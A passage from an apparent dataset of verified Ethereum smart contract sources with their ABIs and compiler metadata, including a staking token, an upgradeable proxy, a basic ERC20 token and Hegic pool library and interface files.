//Function to return total staked on a single address
function totalStakedFor(address addr) public override view returns (uint256) {
return stakedbalances[addr];
}
//Function to shows timestamp on stake processes
function stakeTimestampFor(address addr) public view returns (uint256) {
return staketimestamps[addr];
}
//Function to find out time passed since last timestamp on address
function stakeTimeFor(address addr) public view returns (uint256) {
return block.timestamp.sub(staketimestamps[addr]);
}
//Total staked on all addresses
function totalStaked() public override view returns (uint256) {
return totalstaked;
}
//Support History variable to show support on optional stake details
function supportsHistory() public override pure returns (bool) {
return false;
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"total","type":"uint256"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"Staked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"total","type":"uint256"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"Unstaked","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"delegate","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"delegate","type":"address"},{"internalType":"uint256","name":"numTokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnaddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"cutForBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"stake","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"stakeTimeFor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"stakeTimestampFor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"supportsHistory","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"totalStakedFor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint256","name":"numTokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"buyer","type":"address"},{"internalType":"uint256","name":"numTokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"unstake","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.7.0+commit.9e61f92b | false | 200 | Default | None | false | ipfs://06e3529349c8a04b64894986cdebaad893882fd28dd50e9110a8e17848d4c3fc |
|||
AdminUpgradeabilityProxy | contracts/proxy/AdminUpgradeabilityProxy.sol | 0x877d16d87d724e9b0464a876b498711573f9d7c1 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
} | [{"inputs":[{"internalType":"address","name":"_logic","type":"address"},{"internalType":"address","name":"_admin","type":"address"},{"internalType":"bytes","name":"_data","type":"bytes"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"previousAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"implementation","type":"address"}],"name":"Upgraded","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"}],"name":"upgradeTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"upgradeToAndCall","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.12+commit.27d51765 | true | 20 | 000000000000000000000000e36260a8665c6a53030d3676eba91232ac5d35ee000000000000000000000000ee78c63cd0dacedcac16b31ec943e16bcd8dff5a00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000 | Default | false | ||||
Mas | Mas.sol | 0x15dfeaf4bcff67b9b09ed240024b57f254a35e27 | Solidity | pragma solidity ^0.4.24;
contract Mas {
string public name;
string public symbol;
uint256 public totalSupply;
uint8 public decimals;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
constructor() public {
name = "MAS Holding";
symbol = "MAS";
decimals = 18;
totalSupply = 400000000000 * 10**18;
balances[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}else{
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}else{
return false;
}
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | Default | None | false | bzzr://6f9ab563573829c4a7b1cbddb5bb726d8b55f334ba026e1d45ced5d11eb5b547 |
|||
HegicETHPool | @openzeppelin/contracts/utils/Address.sol | 0xada5688293de408a9fa4cb708f9003d140bd99cb | Solidity | pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
} | 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payable","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendPremium","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setLockupPeriod","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"shareOf","outputs":[{"internalType":"uint256","name":"share","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBalance","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlockPremium","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"maxBurn","type":"uint256"}],"name":"withdraw","outputs":[{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.8+commit.0bbfe453 | true | 200 | Default | GNU GPLv3 | false | ipfs://6f1787b070b5d5f514559c85bcfccb92e3c99798aaeec874003779f2cf8c9bdf |
|||
HegicETHPool | @openzeppelin/contracts/token/ERC20/ERC20.sol | 0xada5688293de408a9fa4cb708f9003d140bd99cb | Solidity | pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 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payable","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendPremium","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setLockupPeriod","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"shareOf","outputs":[{"internalType":"uint256","name":"share","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBalance","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlockPremium","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"maxBurn","type":"uint256"}],"name":"withdraw","outputs":[{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.8+commit.0bbfe453 | true | 200 | Default | GNU GPLv3 | false | ipfs://6f1787b070b5d5f514559c85bcfccb92e3c99798aaeec874003779f2cf8c9bdf |
|||
HegicETHPool | contracts/Interfaces.sol | 0xada5688293de408a9fa4cb708f9003d140bd99cb | Solidity | /**
* Hegic
* Copyright (C) 2020 Hegic Protocol
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.8;
interface ILiquidityPool {
event Withdraw(
address indexed account,
uint256 amount,
uint256 writeAmount
);
event Provide(address indexed account, uint256 amount, uint256 writeAmount);
function lock(uint256 amount) external;
function unlock(uint256 amount) external;
function unlockPremium(uint256 amount) external;
function send(address payable account, uint256 amount) external;
function setLockupPeriod(uint value) external;
function totalBalance() external view returns (uint256 amount);
}
interface IERCLiquidityPool is ILiquidityPool {
function sendPremium(uint256 amount) external;
function token() external view returns (IERC20);
}
interface IETHLiquidityPool is ILiquidityPool {
function sendPremium() external payable;
}
// for the future
// interface ERC20Incorrect {
// event Transfer(address indexed from, address indexed to, uint256 value);
//
// event Approval(address indexed owner, address indexed spender, uint256 value);
//
// function transfer(address to, uint256 value) external;
//
// function transferFrom(
// address from,
// address to,
// uint256 value
// ) external;
//
// function approve(address spender, uint256 value) external;
// function balanceOf(address who) external view returns (uint256);
// function allowance(address owner, address spender) external view returns (uint256);
//
// } | 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payable","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendPremium","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setLockupPeriod","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"shareOf","outputs":[{"internalType":"uint256","name":"share","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBalance","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlockPremium","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"maxBurn","type":"uint256"}],"name":"withdraw","outputs":[{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.8+commit.0bbfe453 | true | 200 | Default | GNU GPLv3 | false | ipfs://6f1787b070b5d5f514559c85bcfccb92e3c99798aaeec874003779f2cf8c9bdf |
|||
